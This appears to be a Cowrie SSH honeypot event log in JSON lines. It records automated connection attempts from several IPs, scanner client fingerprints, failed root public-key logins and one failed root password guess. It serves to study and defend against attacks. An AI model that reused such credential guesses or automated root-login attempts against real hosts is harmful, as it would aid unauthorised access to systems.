{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:f1:a6:53:78:de:f9:7b:b8:5e:ca:83:35:2f:d1:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmlzzA+eFLZzQKgh+vHhZQ9E3TNEJWyEXVej/5/Cu3zIiirx/YbAgYxgXGugqePVpZUSbcXL+B37F/B+q92jgaQrAUxuIDZe/CQGWtUYCGRwzYZkWsWSTeM3poAM3XSfBpcz4jaez1KgA3RHAxZEW4bK67VQGHldRU9D2i2Y5jLK6Ldh2odZoDis03GWcyWh/MnJAFoynzV52zbdYTLG1JC3aVbpsYFui9jG7QugAM8xeC+nknqXF66bvG1ReMBChp8WEnEghWafhqsBPqJ1w+GeNeB4SVj7Y+J4eiLsq3ufWpntatWySAg0Cqkc+SjEKGAy2IWyyG846Wi7b512KN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:f1:a6:53:78:de:f9:7b:b8:5e:ca:83:35:2f:d1:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.497751Z","src_ip":"148.153.121.223","session":"d553c3041b64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:f1:a6:53:78:de:f9:7b:b8:5e:ca:83:35:2f:d1:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmlzzA+eFLZzQKgh+vHhZQ9E3TNEJWyEXVej/5/Cu3zIiirx/YbAgYxgXGugqePVpZUSbcXL+B37F/B+q92jgaQrAUxuIDZe/CQGWtUYCGRwzYZkWsWSTeM3poAM3XSfBpcz4jaez1KgA3RHAxZEW4bK67VQGHldRU9D2i2Y5jLK6Ldh2odZoDis03GWcyWh/MnJAFoynzV52zbdYTLG1JC3aVbpsYFui9jG7QugAM8xeC+nknqXF66bvG1ReMBChp8WEnEghWafhqsBPqJ1w+GeNeB4SVj7Y+J4eiLsq3ufWpntatWySAg0Cqkc+SjEKGAy2IWyyG846Wi7b512KN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.503034Z","src_ip":"148.153.121.223","session":"d553c3041b64","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:d3:bd:2e:99:1d:84:ab:e9:66:b8:4a:bc:4d:e6:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVoavcX+26jNbTRQbIQIwuTY+8OHwcwvzw7a8AvgIcaXUXGgaNFQxd22bGKrjXmDllg6XXQWsItq4EJz1C8whF0Curot40+BmJ1lfhHmQ5Bv0QGwim8eOgVEmQ0BlNEjFZJ5iXqx7jzsI2TjVUDnfpRHcZR2IehzZWwfGqbc4NK2pZQtcYTqhlJ0RFBqFqCQof4xTQv2K1cj70622LTB5+noL3YF8mr31/wWjNh41wZsdpqYjxP9uCQXU7lBpXZEKjYPIep6jWJLfFf13leYuAbbEC89M5zVYJ0CdpkHHr9Jbkf8toWbc4RAjOotUH0r2pft8CXKln+Cc01JdPHfzf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:d3:bd:2e:99:1d:84:ab:e9:66:b8:4a:bc:4d:e6:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.546669Z","src_ip":"148.153.121.223","session":"d553c3041b64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:d3:bd:2e:99:1d:84:ab:e9:66:b8:4a:bc:4d:e6:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVoavcX+26jNbTRQbIQIwuTY+8OHwcwvzw7a8AvgIcaXUXGgaNFQxd22bGKrjXmDllg6XXQWsItq4EJz1C8whF0Curot40+BmJ1lfhHmQ5Bv0QGwim8eOgVEmQ0BlNEjFZJ5iXqx7jzsI2TjVUDnfpRHcZR2IehzZWwfGqbc4NK2pZQtcYTqhlJ0RFBqFqCQof4xTQv2K1cj70622LTB5+noL3YF8mr31/wWjNh41wZsdpqYjxP9uCQXU7lBpXZEKjYPIep6jWJLfFf13leYuAbbEC89M5zVYJ0CdpkHHr9Jbkf8toWbc4RAjOotUH0r2pft8CXKln+Cc01JdPHfzf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.550831Z","src_ip":"148.153.121.223","session":"d553c3041b64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:05:59.594650Z","src_ip":"148.153.121.223","session":"d553c3041b64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.71.17","src_port":24152,"dst_ip":"10.17.0.5","dst_port":22,"session":"922a6d999efc","protocol":"ssh","message":"New connection: 103.75.71.17:24152 (10.17.0.5:22) [session: 922a6d999efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:15.013022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:15.018916Z","src_ip":"103.75.71.17","session":"922a6d999efc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:15.140210Z","src_ip":"103.75.71.17","session":"922a6d999efc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:00:2a:a3:9f:1c:17:54:d8:32:e8:4a:ee:0b:57:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8TyV8V6ft5lPipaEm+b/FM1Q+eU8V/InIT9dUg5Oxf22mCma+vlV/bd4YloeLmPfeFIh7raX87Ctx+8TfsXqzW+uFPDWnK5nCvMxQZytxtw22QQRI4k9JqXYEyTYegnZfuvYrFu3TuaNuunmncyYD8pCfMr0AsQcbIoO1GP5esPYX4xrfM+M1Sr0KuFhS4xsZjv21Y/yRiaxh73707A5QB7Ii1V4LfohLhRtZsVuQ7Ux9RSN3nLnHmt/17JP+CzOgAJ920p9kJOn9wqQXm+RVNLWOVlkTgwRH5q1sBEDljlLsy/GCsfg0panGHkQ/xHHchfPmiduUjiSAOwF1dX+EQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:00:2a:a3:9f:1c:17:54:d8:32:e8:4a:ee:0b:57:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:15.710251Z","src_ip":"103.75.71.17","session":"922a6d999efc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:00:2a:a3:9f:1c:17:54:d8:32:e8:4a:ee:0b:57:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8TyV8V6ft5lPipaEm+b/FM1Q+eU8V/InIT9dUg5Oxf22mCma+vlV/bd4YloeLmPfeFIh7raX87Ctx+8TfsXqzW+uFPDWnK5nCvMxQZytxtw22QQRI4k9JqXYEyTYegnZfuvYrFu3TuaNuunmncyYD8pCfMr0AsQcbIoO1GP5esPYX4xrfM+M1Sr0KuFhS4xsZjv21Y/yRiaxh73707A5QB7Ii1V4LfohLhRtZsVuQ7Ux9RSN3nLnHmt/17JP+CzOgAJ920p9kJOn9wqQXm+RVNLWOVlkTgwRH5q1sBEDljlLsy/GCsfg0panGHkQ/xHHchfPmiduUjiSAOwF1dX+EQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:15.715726Z","src_ip":"103.75.71.17","session":"922a6d999efc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:53:cc:02:e4:7a:31:1c:75:e4:25:f8:b2:37:44:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3R04lalSkUJSR5h1NfvnSs4CVXy7CCnQgx0iDNUXSYf69V1U1AeZAMlAh+Qj2CDIA3+TIv33DIlp2heuOHAzWdMmUssWza9CTOz3m0TTjZ+E204MOzUoU2pVBPXoGUFIR3I2tc0FQ2j34ReZwGgoz8OOhZF5mBWM6+I5oBImEmxWdM0OOg3zlEmDeAY3hIWmtLOwN1N8zn3K92MlvH1tDgLI7I+a+F+3KroBzjxmjwH/BFgifOcDeN8HErHdjQ5eUJv7CQmgsW+NqsOKfFM39ZUQIsly+1G41XZye5TR3iBtVTjfKg8voqw+AaJAO7Ng5wDnsJ80jqbzsD6hjZ1Kxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:53:cc:02:e4:7a:31:1c:75:e4:25:f8:b2:37:44:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:15.836735Z","src_ip":"103.75.71.17","session":"922a6d999efc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:53:cc:02:e4:7a:31:1c:75:e4:25:f8:b2:37:44:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3R04lalSkUJSR5h1NfvnSs4CVXy7CCnQgx0iDNUXSYf69V1U1AeZAMlAh+Qj2CDIA3+TIv33DIlp2heuOHAzWdMmUssWza9CTOz3m0TTjZ+E204MOzUoU2pVBPXoGUFIR3I2tc0FQ2j34ReZwGgoz8OOhZF5mBWM6+I5oBImEmxWdM0OOg3zlEmDeAY3hIWmtLOwN1N8zn3K92MlvH1tDgLI7I+a+F+3KroBzjxmjwH/BFgifOcDeN8HErHdjQ5eUJv7CQmgsW+NqsOKfFM39ZUQIsly+1G41XZye5TR3iBtVTjfKg8voqw+AaJAO7Ng5wDnsJ80jqbzsD6hjZ1Kxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:15.841357Z","src_ip":"103.75.71.17","session":"922a6d999efc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:f1:43:d1:ca:9f:48:7f:52:e4:6f:be:5a:08:77:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1L+ffjNhm1uY/vCZuXpTGx0crmWVMvnIdDGcHsOBQT0bQgJoYWpvthWBl0KjoaHUNMPYj6Oo1yF4UsQ1EORZ4s1VuSaOZWkqFK0Mafl33Tn3dJni+GSzt64Xh9orVzQwa+gG3ibiqxxyawqU7HqzNsj+M06ZgiQsqsAN9X0Enf0HHaLyY3F+deVsJr1FVmmsnRjsBWSFjU/J3ytom6iJODrD9kvT/2VmIXpcFY8lN+Sfz6oRTxKs7Au3kJMvTxyNeeo1+TnyiRncFbv1IUpU6YQcySe317vgn6ccw+84btCJN17ejW5vAZRQnCy1cwszi+hpI4LQKCar4MJ1bJ51b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:f1:43:d1:ca:9f:48:7f:52:e4:6f:be:5a:08:77:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:15.960830Z","src_ip":"103.75.71.17","session":"922a6d999efc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:f1:43:d1:ca:9f:48:7f:52:e4:6f:be:5a:08:77:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1L+ffjNhm1uY/vCZuXpTGx0crmWVMvnIdDGcHsOBQT0bQgJoYWpvthWBl0KjoaHUNMPYj6Oo1yF4UsQ1EORZ4s1VuSaOZWkqFK0Mafl33Tn3dJni+GSzt64Xh9orVzQwa+gG3ibiqxxyawqU7HqzNsj+M06ZgiQsqsAN9X0Enf0HHaLyY3F+deVsJr1FVmmsnRjsBWSFjU/J3ytom6iJODrD9kvT/2VmIXpcFY8lN+Sfz6oRTxKs7Au3kJMvTxyNeeo1+TnyiRncFbv1IUpU6YQcySe317vgn6ccw+84btCJN17ejW5vAZRQnCy1cwszi+hpI4LQKCar4MJ1bJ51b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:15.967348Z","src_ip":"103.75.71.17","session":"922a6d999efc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a5:f1:a6:53:78:de:f9:7b:b8:5e:ca:83:35:2f:d1:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmlzzA+eFLZzQKgh+vHhZQ9E3TNEJWyEXVej/5/Cu3zIiirx/YbAgYxgXGugqePVpZUSbcXL+B37F/B+q92jgaQrAUxuIDZe/CQGWtUYCGRwzYZkWsWSTeM3poAM3XSfBpcz4jaez1KgA3RHAxZEW4bK67VQGHldRU9D2i2Y5jLK6Ldh2odZoDis03GWcyWh/MnJAFoynzV52zbdYTLG1JC3aVbpsYFui9jG7QugAM8xeC+nknqXF66bvG1ReMBChp8WEnEghWafhqsBPqJ1w+GeNeB4SVj7Y+J4eiLsq3ufWpntatWySAg0Cqkc+SjEKGAy2IWyyG846Wi7b512KN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a5:f1:a6:53:78:de:f9:7b:b8:5e:ca:83:35:2f:d1:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:16.093296Z","src_ip":"103.75.71.17","session":"922a6d999efc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a5:f1:a6:53:78:de:f9:7b:b8:5e:ca:83:35:2f:d1:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmlzzA+eFLZzQKgh+vHhZQ9E3TNEJWyEXVej/5/Cu3zIiirx/YbAgYxgXGugqePVpZUSbcXL+B37F/B+q92jgaQrAUxuIDZe/CQGWtUYCGRwzYZkWsWSTeM3poAM3XSfBpcz4jaez1KgA3RHAxZEW4bK67VQGHldRU9D2i2Y5jLK6Ldh2odZoDis03GWcyWh/MnJAFoynzV52zbdYTLG1JC3aVbpsYFui9jG7QugAM8xeC+nknqXF66bvG1ReMBChp8WEnEghWafhqsBPqJ1w+GeNeB4SVj7Y+J4eiLsq3ufWpntatWySAg0Cqkc+SjEKGAy2IWyyG846Wi7b512KN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:16.097406Z","src_ip":"103.75.71.17","session":"922a6d999efc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:d3:bd:2e:99:1d:84:ab:e9:66:b8:4a:bc:4d:e6:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVoavcX+26jNbTRQbIQIwuTY+8OHwcwvzw7a8AvgIcaXUXGgaNFQxd22bGKrjXmDllg6XXQWsItq4EJz1C8whF0Curot40+BmJ1lfhHmQ5Bv0QGwim8eOgVEmQ0BlNEjFZJ5iXqx7jzsI2TjVUDnfpRHcZR2IehzZWwfGqbc4NK2pZQtcYTqhlJ0RFBqFqCQof4xTQv2K1cj70622LTB5+noL3YF8mr31/wWjNh41wZsdpqYjxP9uCQXU7lBpXZEKjYPIep6jWJLfFf13leYuAbbEC89M5zVYJ0CdpkHHr9Jbkf8toWbc4RAjOotUH0r2pft8CXKln+Cc01JdPHfzf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:d3:bd:2e:99:1d:84:ab:e9:66:b8:4a:bc:4d:e6:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:16.216729Z","src_ip":"103.75.71.17","session":"922a6d999efc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:d3:bd:2e:99:1d:84:ab:e9:66:b8:4a:bc:4d:e6:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVoavcX+26jNbTRQbIQIwuTY+8OHwcwvzw7a8AvgIcaXUXGgaNFQxd22bGKrjXmDllg6XXQWsItq4EJz1C8whF0Curot40+BmJ1lfhHmQ5Bv0QGwim8eOgVEmQ0BlNEjFZJ5iXqx7jzsI2TjVUDnfpRHcZR2IehzZWwfGqbc4NK2pZQtcYTqhlJ0RFBqFqCQof4xTQv2K1cj70622LTB5+noL3YF8mr31/wWjNh41wZsdpqYjxP9uCQXU7lBpXZEKjYPIep6jWJLfFf13leYuAbbEC89M5zVYJ0CdpkHHr9Jbkf8toWbc4RAjOotUH0r2pft8CXKln+Cc01JdPHfzf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:16.221300Z","src_ip":"103.75.71.17","session":"922a6d999efc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:16.342207Z","src_ip":"103.75.71.17","session":"922a6d999efc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":58516,"dst_ip":"159.203.135.109","dst_port":22,"session":"5584b1b1df15","protocol":"ssh","message":"New connection: 147.45.199.80:58516 (159.203.135.109:22) [session: 5584b1b1df15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:28.200994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:28.206295Z","src_ip":"147.45.199.80","session":"5584b1b1df15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:28.302449Z","src_ip":"147.45.199.80","session":"5584b1b1df15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"naamanaama","message":"login attempt [root/naamanaama] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:28.594092Z","src_ip":"147.45.199.80","session":"5584b1b1df15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:06:29.694442Z","src_ip":"147.45.199.80","session":"5584b1b1df15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.227","src_port":63446,"dst_ip":"159.203.135.109","dst_port":22,"session":"b47682b8e42c","protocol":"ssh","message":"New connection: 198.235.24.227:63446 (159.203.135.109:22) [session: b47682b8e42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:07:11.705646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:07:12.648548Z","src_ip":"198.235.24.227","session":"b47682b8e42c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:07:13.751866Z","src_ip":"198.235.24.227","session":"b47682b8e42c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:07:21.924572Z","src_ip":"198.235.24.227","session":"b47682b8e42c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.152","src_port":19350,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a2a30edfe8c","protocol":"ssh","message":"New connection: 45.148.10.152:19350 (159.203.135.109:22) [session: 0a2a30edfe8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:07:27.268976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:07:27.274322Z","src_ip":"45.148.10.152","session":"0a2a30edfe8c","protocol":"ssh"}
